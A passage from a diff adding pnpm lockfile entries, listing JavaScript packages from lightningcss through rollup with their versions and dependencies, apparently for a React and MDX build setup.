1.32.0 + lightningcss-linux-arm-gnueabihf: 1.32.0 + lightningcss-linux-arm64-gnu: 1.32.0 + lightningcss-linux-arm64-musl: 1.32.0 + lightningcss-linux-x64-gnu: 1.32.0 + lightningcss-linux-x64-musl: 1.32.0 + lightningcss-win32-arm64-msvc: 1.32.0 + lightningcss-win32-x64-msvc: 1.32.0 + + lilconfig@2.1.0: {} + + lilconfig@3.1.3: {} + + loader-utils@3.3.1: {} + + local-pkg@1.1.2: + dependencies: + mlly: 1.8.0 + pkg-types: 2.3.0 + quansync: 0.2.11 + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.camelcase@4.3.0: {} + + lodash.debounce@4.0.8: {} + + lodash.memoize@4.1.2: {} + + lodash.merge@4.6.2: {} + + lodash.uniq@4.5.0: {} + + lodash@4.17.23: {} + + log-symbols@4.1.0: + dependencies: + chalk: 4.1.2 + is-unicode-supported: 0.1.0 + + longest-streak@3.1.0: {} + + loose-envify@1.4.0: + dependencies: + js-tokens: 4.0.0 + + lru-cache@10.4.3: {} + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + lru-cache@7.18.3: {} + + lucide-react@0.577.0(react@18.3.1): + dependencies: + react: 18.3.1 + + lucide-react@0.577.0(react@19.2.4): + dependencies: + react: 19.2.4 + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + markdown-extensions@1.1.1: {} + + marked@14.0.0: {} + + math-intrinsics@1.1.0: {} + + mdast-util-definitions@5.1.2: + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.11 + unist-util-visit: 4.1.2 + + mdast-util-from-markdown@1.3.1: + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.11 + decode-named-character-reference: 1.3.0 + mdast-util-to-string: 3.2.0 + micromark: 3.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-decode-string: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-stringify-position: 3.0.3 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + + mdast-util-frontmatter@1.0.1: + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + micromark-extension-frontmatter: 1.1.1 + + mdast-util-mdx-expression@1.3.2: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx-jsx@2.1.4: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + '@types/unist': 2.0.11 + ccount: 2.0.1 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + parse-entities: 4.0.2 + stringify-entities: 4.0.4 + unist-util-remove-position: 4.0.2 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx@2.0.1: + dependencies: + mdast-util-from-markdown: 1.3.1 + mdast-util-mdx-expression: 1.3.2 + mdast-util-mdx-jsx: 2.1.4 + mdast-util-mdxjs-esm: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + + mdast-util-mdxjs-esm@1.3.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + + mdast-util-phrasing@3.0.1: + dependencies: + '@types/mdast': 3.0.15 + unist-util-is: 5.2.1 + + mdast-util-to-hast@12.3.0: + dependencies: + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-definitions: 5.1.2 + micromark-util-sanitize-uri: 1.2.0 + trim-lines: 3.0.1 + unist-util-generated: 2.0.1 + unist-util-position: 4.0.4 + unist-util-visit: 4.1.2 + + mdast-util-to-markdown@1.5.0: + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.11 + longest-streak: 3.1.0 + mdast-util-phrasing: 3.0.1 + mdast-util-to-string: 3.2.0 + micromark-util-decode-string: 1.1.0 + unist-util-visit: 4.1.2 + zwitch: 2.0.4 + + mdast-util-to-string@3.2.0: + dependencies: + '@types/mdast': 3.0.15 + + mdn-data@2.0.14: {} + + media-query-parser@2.0.2: + dependencies: + '@babel/runtime': 7.28.6 + + media-typer@0.3.0: {} + + merge-descriptors@1.0.3: {} + + merge-stream@2.0.0: {} + + merge2@1.4.1: {} + + methods@1.1.2: {} + + micromark-core-commonmark@1.1.0: + dependencies: + decode-named-character-reference: 1.3.0 + micromark-factory-destination: 1.1.0 + micromark-factory-label: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-factory-title: 1.1.0 + micromark-factory-whitespace: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-html-tag-name: 1.2.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + + micromark-extension-frontmatter@1.1.1: + dependencies: + fault: 2.0.1 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-extension-mdx-expression@1.0.8: + dependencies: + '@types/estree': 1.0.8 + micromark-factory-mdx-expression: 1.0.9 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + + micromark-extension-mdx-jsx@1.0.5: + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.8 + estree-util-is-identifier-name: 2.1.0 + micromark-factory-mdx-expression: 1.0.9 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + vfile-message: 3.1.4 + + micromark-extension-mdx-md@1.0.1: + dependencies: + micromark-util-types: 1.1.0 + + micromark-extension-mdxjs-esm@1.0.5: + dependencies: + '@types/estree': 1.0.8 + micromark-core-commonmark: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + + micromark-extension-mdxjs@1.0.1: + dependencies: + acorn: 8.16.0 + acorn-jsx: 5.3.2(acorn@8.16.0) + micromark-extension-mdx-expression: 1.0.8 + micromark-extension-mdx-jsx: 1.0.5 + micromark-extension-mdx-md: 1.0.1 + micromark-extension-mdxjs-esm: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-factory-destination@1.1.0: + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-factory-label@1.1.0: + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + + micromark-factory-mdx-expression@1.0.9: + dependencies: + '@types/estree': 1.0.8 + micromark-util-character: 1.2.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + + micromark-factory-space@1.1.0: + dependencies: + micromark-util-character: 1.2.0 + micromark-util-types: 1.1.0 + + micromark-factory-title@1.1.0: + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-factory-whitespace@1.1.0: + dependencies: + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-util-character@1.2.0: + dependencies: + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-util-chunked@1.1.0: + dependencies: + micromark-util-symbol: 1.1.0 + + micromark-util-classify-character@1.1.0: + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-util-combine-extensions@1.1.0: + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-types: 1.1.0 + + micromark-util-decode-numeric-character-reference@1.1.0: + dependencies: + micromark-util-symbol: 1.1.0 + + micromark-util-decode-string@1.1.0: + dependencies: + decode-named-character-reference: 1.3.0 + micromark-util-character: 1.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-symbol: 1.1.0 + + micromark-util-encode@1.1.0: {} + + micromark-util-events-to-acorn@1.2.3: + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.8 + '@types/unist': 2.0.11 + estree-util-visit: 1.2.1 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + vfile-message: 3.1.4 + + micromark-util-html-tag-name@1.2.0: {} + + micromark-util-normalize-identifier@1.1.0: + dependencies: + micromark-util-symbol: 1.1.0 + + micromark-util-resolve-all@1.1.0: + dependencies: + micromark-util-types: 1.1.0 + + micromark-util-sanitize-uri@1.2.0: + dependencies: + micromark-util-character: 1.2.0 + micromark-util-encode: 1.1.0 + micromark-util-symbol: 1.1.0 + + micromark-util-subtokenize@1.1.0: + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + + micromark-util-symbol@1.1.0: {} + + micromark-util-types@1.1.0: {} + + micromark@3.2.0: + dependencies: + '@types/debug': 4.1.12 + debug: 4.4.3 + decode-named-character-reference: 1.3.0 + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-combine-extensions: 1.1.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-encode: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-db@1.54.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + mime@1.6.0: {} + + mimic-fn@2.1.0: {} + + minimatch@3.1.5: + dependencies: + brace-expansion: 1.1.12 + + minimatch@9.0.3: + dependencies: + brace-expansion: 2.0.2 + + minimatch@9.0.9: + dependencies: + brace-expansion: 2.0.2 + + minimist@1.2.8: {} + + minipass-collect@1.0.2: + dependencies: + minipass: 3.3.6 + + minipass-flush@1.0.5: + dependencies: + minipass: 3.3.6 + + minipass-pipeline@1.2.4: + dependencies: + minipass: 3.3.6 + + minipass@3.3.6: + dependencies: + yallist: 4.0.0 + + minipass@5.0.0: {} + + minipass@7.1.3: {} + + minizlib@2.1.2: + dependencies: + minipass: 3.3.6 + yallist: 4.0.0 + + mkdirp-classic@0.5.3: {} + + mkdirp@1.0.4: {} + + mlly@1.8.0: + dependencies: + acorn: 8.16.0 + pathe: 2.0.3 + pkg-types: 1.3.1 + ufo: 1.6.3 + + modern-ahocorasick@1.1.0: {} + + monaco-editor@0.55.1: + dependencies: + dompurify: 3.2.7 + marked: 14.0.0 + + morgan@1.10.1: + dependencies: + basic-auth: 2.0.1 + debug: 2.6.9 + depd: 2.0.0 + on-finished: 2.3.0 + on-headers: 1.1.0 + transitivePeerDependencies: + - supports-color + + mri@1.2.0: {} + + mrmime@1.0.1: {} + + ms@2.0.0: {} + + ms@2.1.3: {} + + nanoid@3.3.11: {} + + natural-compare@1.4.0: {} + + negotiator@0.6.3: {} + + negotiator@0.6.4: {} + + node-exports-info@1.6.0: + dependencies: + array.prototype.flatmap: 1.3.3 + es-errors: 1.3.0 + object.entries: 1.1.9 + semver: 6.3.1 + + node-releases@2.0.27: {} + + normalize-package-data@5.0.0: + dependencies: + hosted-git-info: 6.1.3 + is-core-module: 2.16.1 + semver: 7.7.4 + validate-npm-package-license: 3.0.4 + + normalize-path@3.0.0: {} + + normalize-url@6.1.0: {} + + npm-install-checks@6.3.0: + dependencies: + semver: 7.7.4 + + npm-normalize-package-bin@3.0.1: {} + + npm-package-arg@10.1.0: + dependencies: + hosted-git-info: 6.1.3 + proc-log: 3.0.0 + semver: 7.7.4 + validate-npm-package-name: 5.0.1 + + npm-pick-manifest@8.0.2: + dependencies: + npm-install-checks: 6.3.0 + npm-normalize-package-bin: 3.0.1 + npm-package-arg: 10.1.0 + semver: 7.7.4 + + npm-run-path@4.0.1: + dependencies: + path-key: 3.1.1 + + nth-check@2.1.1: + dependencies: + boolbase: 1.0.0 + + object-assign@4.1.1: {} + + object-inspect@1.13.4: {} + + object-keys@1.1.1: {} + + object.assign@4.1.7: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + has-symbols: 1.1.0 + object-keys: 1.1.1 + + object.entries@1.1.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + object.fromentries@2.0.8: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-object-atoms: 1.1.1 + + object.values@1.2.1: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + on-finished@2.3.0: + dependencies: + ee-first: 1.1.1 + + on-finished@2.4.1: + dependencies: + ee-first: 1.1.1 + + on-headers@1.1.0: {} + + once@1.4.0: + dependencies: + wrappy: 1.0.2 + + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + + optionator@0.9.4: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.4.1 + prelude-ls: 1.2.1 + type-check: 0.4.0 + word-wrap: 1.2.5 + + ora@5.4.1: + dependencies: + bl: 4.1.0 + chalk: 4.1.2 + cli-cursor: 3.1.0 + cli-spinners: 2.9.2 + is-interactive: 1.0.0 + is-unicode-supported: 0.1.0 + log-symbols: 4.1.0 + strip-ansi: 6.0.1 + wcwidth: 1.0.1 + + outdent@0.8.0: {} + + own-keys@1.0.1: + dependencies: + get-intrinsic: 1.3.0 + object-keys: 1.1.1 + safe-push-apply: 1.0.0 + + p-finally@1.0.0: {} + + p-limit@3.1.0: + dependencies: + yocto-queue: 0.1.0 + + p-locate@5.0.0: + dependencies: + p-limit: 3.1.0 + + p-map@4.0.0: + dependencies: + aggregate-error: 3.1.0 + + p-queue@6.6.2: + dependencies: + eventemitter3: 4.0.7 + p-timeout: 3.2.0 + + p-timeout@3.2.0: + dependencies: + p-finally: 1.0.0 + + package-json-from-dist@1.0.1: {} + + pako@0.2.9: {} + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + parse-entities@4.0.2: + dependencies: + '@types/unist': 2.0.11 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.3.0 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + + parse-ms@2.1.0: {} + + parseurl@1.3.3: {} + + path-exists@4.0.0: {} + + path-is-absolute@1.0.1: {} + + path-key@3.1.1: {} + + path-parse@1.0.7: {} + + path-scurry@1.11.1: + dependencies: + lru-cache: 10.4.3 + minipass: 7.1.3 + + path-to-regexp@0.1.12: {} + + path-type@4.0.0: {} + + pathe@1.1.2: {} + + pathe@2.0.3: {} + + peek-stream@1.1.3: + dependencies: + buffer-from: 1.1.2 + duplexify: 3.7.1 + through2: 2.0.5 + + periscopic@3.1.0: + dependencies: + '@types/estree': 1.0.8 + estree-walker: 3.0.3 + is-reference: 3.0.3 + + picocolors@1.1.1: {} + + picomatch@2.3.1: {} + + picomatch@4.0.3: {} + + pidtree@0.6.0: {} + + pify@5.0.0: {} + + pkg-types@1.3.1: + dependencies: + confbox: 0.1.8 + mlly: 1.8.0 + pathe: 2.0.3 + + pkg-types@2.3.0: + dependencies: + confbox: 0.2.4 + exsolve: 1.0.8 + pathe: 2.0.3 + + playwright-core@1.58.2: {} + + playwright@1.58.2: + dependencies: + playwright-core: 1.58.2 + optionalDependencies: + fsevents: 2.3.2 + + possible-typed-array-names@1.1.0: {} + + postcss-calc@8.2.4(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-selector-parser: 6.1.2 + postcss-value-parser: 4.2.0 + + postcss-colormin@5.3.1(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-api: 3.0.0 + colord: 2.9.3 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-convert-values@5.1.3(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-discard-comments@5.1.2(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-discard-duplicates@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-discard-empty@5.1.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-discard-overridden@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-load-config@3.1.4(postcss@8.5.8): + dependencies: + lilconfig: 2.1.0 + yaml: 1.10.2 + optionalDependencies: + postcss: 8.5.8 + + postcss-load-config@4.0.2(postcss@8.5.8): + dependencies: + lilconfig: 3.1.3 + yaml: 2.8.2 + optionalDependencies: + postcss: 8.5.8 + + postcss-merge-longhand@5.1.7(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + stylehacks: 5.1.1(postcss@8.5.8) + + postcss-merge-rules@5.1.4(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-api: 3.0.0 + cssnano-utils: 3.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-selector-parser: 6.1.2 + + postcss-minify-font-values@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-minify-gradients@5.1.1(postcss@8.5.8): + dependencies: + colord: 2.9.3 + cssnano-utils: 3.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-minify-params@5.1.4(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + cssnano-utils: 3.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-minify-selectors@5.2.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-selector-parser: 6.1.2 + + postcss-modules-extract-imports@3.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-modules-local-by-default@4.2.0(postcss@8.5.8): + dependencies: + icss-utils: 5.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-selector-parser: 7.1.1 + postcss-value-parser: 4.2.0 + + postcss-modules-scope@3.2.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-selector-parser: 7.1.1 + + postcss-modules-values@4.0.0(postcss@8.5.8): + dependencies: + icss-utils: 5.1.0(postcss@8.5.8) + postcss: 8.5.8 + + postcss-modules@4.3.1(postcss@8.5.8): + dependencies: + generic-names: 4.0.0 + icss-replace-symbols: 1.1.0 + lodash.camelcase: 4.3.0 + postcss: 8.5.8 + postcss-modules-extract-imports: 3.1.0(postcss@8.5.8) + postcss-modules-local-by-default: 4.2.0(postcss@8.5.8) + postcss-modules-scope: 3.2.1(postcss@8.5.8) + postcss-modules-values: 4.0.0(postcss@8.5.8) + string-hash: 1.1.3 + + postcss-modules@6.0.1(postcss@8.5.8): + dependencies: + generic-names: 4.0.0 + icss-utils: 5.1.0(postcss@8.5.8) + lodash.camelcase: 4.3.0 + postcss: 8.5.8 + postcss-modules-extract-imports: 3.1.0(postcss@8.5.8) + postcss-modules-local-by-default: 4.2.0(postcss@8.5.8) + postcss-modules-scope: 3.2.1(postcss@8.5.8) + postcss-modules-values: 4.0.0(postcss@8.5.8) + string-hash: 1.1.3 + + postcss-normalize-charset@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + postcss-normalize-display-values@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-positions@5.1.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-repeat-style@5.1.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-string@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-timing-functions@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-unicode@5.1.1(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-url@5.1.0(postcss@8.5.8): + dependencies: + normalize-url: 6.1.0 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-normalize-whitespace@5.1.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-ordered-values@5.1.3(postcss@8.5.8): + dependencies: + cssnano-utils: 3.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-reduce-initial@5.1.2(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-api: 3.0.0 + postcss: 8.5.8 + + postcss-reduce-transforms@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + postcss-selector-parser@6.1.2: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-selector-parser@7.1.1: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-svgo@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + svgo: 2.8.0 + + postcss-unique-selectors@5.1.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + postcss-selector-parser: 6.1.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.8: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prelude-ls@1.2.1: {} + + prettier@2.8.8: {} + + pretty-ms@7.0.1: + dependencies: + parse-ms: 2.1.0 + + proc-log@3.0.0: {} + + process-nextick-args@2.0.1: {} + + promise-inflight@1.0.1: {} + + promise-retry@2.0.1: + dependencies: + err-code: 2.0.3 + retry: 0.12.0 + + promise.series@0.2.0: {} + + prop-types@15.8.1: + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + + property-information@6.5.0: {} + + proxy-addr@2.0.7: + dependencies: + forwarded: 0.2.0 + ipaddr.js: 1.9.1 + + pump@2.0.1: + dependencies: + end-of-stream: 1.4.5 + once: 1.4.0 + + pump@3.0.3: + dependencies: + end-of-stream: 1.4.5 + once: 1.4.0 + + pumpify@1.5.1: + dependencies: + duplexify: 3.7.1 + inherits: 2.0.4 + pump: 2.0.1 + + punycode@2.3.1: {} + + qs@6.14.2: + dependencies: + side-channel: 1.1.0 + + quansync@0.2.11: {} + + queue-microtask@1.2.3: {} + + range-parser@1.2.1: {} + + raw-body@2.5.3: + dependencies: + bytes: 3.1.2 + http-errors: 2.0.1 + iconv-lite: 0.4.24 + unpipe: 1.0.0 + + react-dom@18.3.1(react@18.3.1): + dependencies: + loose-envify: 1.4.0 + react: 18.3.1 + scheduler: 0.23.2 + + react-dom@19.2.4(react@19.2.4): + dependencies: + react: 19.2.4 + scheduler: 0.27.0 + + react-is@16.13.1: {} + + react-refresh@0.14.2: {} + + react-remove-scroll-bar@2.3.8(@types/react@18.3.28)(react@19.2.4): + dependencies: + react: 19.2.4 + react-style-singleton: 2.2.3(@types/react@18.3.28)(react@19.2.4) + tslib: 2.8.1 + optionalDependencies: + '@types/react': 18.3.28 + + react-remove-scroll@2.7.2(@types/react@18.3.28)(react@19.2.4): + dependencies: + react: 19.2.4 + react-remove-scroll-bar: 2.3.8(@types/react@18.3.28)(react@19.2.4) + react-style-singleton: 2.2.3(@types/react@18.3.28)(react@19.2.4) + tslib: 2.8.1 + use-callback-ref: 1.3.3(@types/react@18.3.28)(react@19.2.4) + use-sidecar: 1.1.3(@types/react@18.3.28)(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + + react-router-dom@6.30.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@remix-run/router': 1.23.2 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-router: 6.30.3(react@18.3.1) + + react-router@6.30.3(react@18.3.1): + dependencies: + '@remix-run/router': 1.23.2 + react: 18.3.1 + + react-style-singleton@2.2.3(@types/react@18.3.28)(react@19.2.4): + dependencies: + get-nonce: 1.0.1 + react: 19.2.4 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 18.3.28 + + react@18.3.1: + dependencies: + loose-envify: 1.4.0 + + react@19.2.4: {} + + readable-stream@2.3.8: + dependencies: + core-util-is: 1.0.3 + inherits: 2.0.4 + isarray: 1.0.0 + process-nextick-args: 2.0.1 + safe-buffer: 5.1.2 + string_decoder: 1.1.1 + util-deprecate: 1.0.2 + + readable-stream@3.6.2: + dependencies: + inherits: 2.0.4 + string_decoder: 1.3.0 + util-deprecate: 1.0.2 + + readdirp@3.6.0: + dependencies: + picomatch: 2.3.1 + + reflect.getprototypeof@1.0.10: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + which-builtin-type: 1.2.1 + + regexp.prototype.flags@1.5.4: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-errors: 1.3.0 + get-proto: 1.0.1 + gopd: 1.2.0 + set-function-name: 2.0.2 + + remark-frontmatter@4.0.1: + dependencies: + '@types/mdast': 3.0.15 + mdast-util-frontmatter: 1.0.1 + micromark-extension-frontmatter: 1.1.1 + unified: 10.1.2 + + remark-mdx-frontmatter@1.1.1: + dependencies: + estree-util-is-identifier-name: 1.1.0 + estree-util-value-to-estree: 1.3.0 + js-yaml: 4.1.1 + toml: 3.0.0 + + remark-mdx@2.3.0: + dependencies: + mdast-util-mdx: 2.0.1 + micromark-extension-mdxjs: 1.0.1 + transitivePeerDependencies: + - supports-color + + remark-parse@10.0.2: + dependencies: + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + + remark-rehype@10.1.0: + dependencies: + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-to-hast: 12.3.0 + unified: 10.1.2 + + require-like@0.1.2: {} + + resolve-from@4.0.0: {} + + resolve-from@5.0.0: {} + + resolve.exports@2.0.3: {} + + resolve@1.22.11: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + resolve@2.0.0-next.6: + dependencies: + es-errors: 1.3.0 + is-core-module: 2.16.1 + node-exports-info: 1.6.0 + object-keys: 1.1.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + restore-cursor@3.1.0: + dependencies: + onetime: 5.1.2 + signal-exit: 3.0.7 + + retry@0.12.0: {} + + reusify@1.1.0: {} + + rimraf@3.0.2: + dependencies: + glob: 7.2.3 + + rollup-plugin-peer-deps-external@2.2.4(rollup@4.60.0): + dependencies: + rollup: 4.60.0 + + rollup-plugin-postcss@4.0.2(postcss@8.5.8): + dependencies: + chalk: 4.1.2 + concat-with-sourcemaps: 1.1.0 + cssnano: 5.1.15(postcss@8.5.8) + import-cwd: 3.0.0 + p-queue: 6.6.2 + pify: 5.0.0 + postcss: 8.5.8 + postcss-load-config: 3.1.4(postcss@8.5.8) + postcss-modules: 4.3.1(postcss@8.5.8) + promise.series: 0.2.0 + resolve: 1.22.11 + rollup-pluginutils: 2.8.2 + safe-identifier: 0.4.2 + style-inject: 0.3.0 + transitivePeerDependencies: + - ts-node + + rollup-pluginutils@2.8.2: + dependencies: + estree-walker: 0.6.1 + + rollup@4.60.0: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.60.0 + '@rollup/rollup-android-arm64': 4.60.0 + '@rollup/rollup-darwin-arm64': 4.60.0 + '@rollup/rollup-darwin-x64': 4.60.0 + '@rollup/rollup-freebsd-arm64': 4.60.0 + '@rollup/rollup-freebsd-x64': 4.60.0 + '@rollup/rollup-linux-arm-gnueabihf': 4.60.0 + '@rollup/rollup-linux-arm-musleabihf': 4.60.0 + '@rollup/rollup-linux-arm64-gnu': 4.60.0 + '@rollup/rollup-linux-arm64-musl': 4.60.0 + '@rollup/rollup-linux-loong64-gnu': 4.60.0 + '@rollup/rollup-linux-loong64-musl': 4.60.0 + '@rollup/rollup-linux-ppc64-gnu': 4.60.0 + '@rollup/rollup-linux-ppc64-musl': 4.60.0 + '@rollup/rollup-linux-riscv64-gnu': 4.60.0 + '@rollup/rollup-linux-riscv64-musl': 4.60.0 + 